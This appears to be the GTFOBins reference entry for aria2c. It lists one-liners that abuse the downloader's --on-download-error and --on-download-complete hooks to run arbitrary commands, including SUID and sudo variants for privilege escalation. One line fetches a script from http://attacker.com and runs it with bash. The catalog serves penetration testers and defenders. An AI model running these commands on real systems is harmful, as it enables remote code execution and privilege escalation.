GTFOBins.github.io/_gtfobins/aria2c.md

28 lines
1.0 KiB
Markdown
Raw Normal View History

---
description: Note that the subprocess is immediately sent to the background.
functions:
execute-non-interactive:
- code: |
COMMAND='id'
TF=$(mktemp)
echo "$COMMAND" > $TF
chmod +x $TF
aria2c --on-download-error=$TF http://x
- description: The remote file `aaaaaaaaaaaaaaaa` (must be a string of 16 hex digit) contains the shell script. Note that said file needs to be written on disk in order to be executed. `--allow-overwrite` is needed if this is executed multiple times with the same GID.
code: aria2c --allow-overwrite --gid=aaaaaaaaaaaaaaaa --on-download-complete=bash http://attacker.com/aaaaaaaaaaaaaaaa
suid-enabled:
- code: |
COMMAND='id'
TF=$(mktemp)
echo "$COMMAND" > $TF
chmod +x $TF
./aria2c --on-download-error=$TF http://x
sudo-enabled:
- code: |
COMMAND='id'
TF=$(mktemp)
echo "$COMMAND" > $TF
chmod +x $TF
sudo aria2c --on-download-error=$TF http://x
---